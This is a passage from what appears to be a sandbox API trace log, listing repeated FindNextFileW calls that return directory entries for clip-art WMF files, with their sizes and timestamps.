cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0069.063] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, 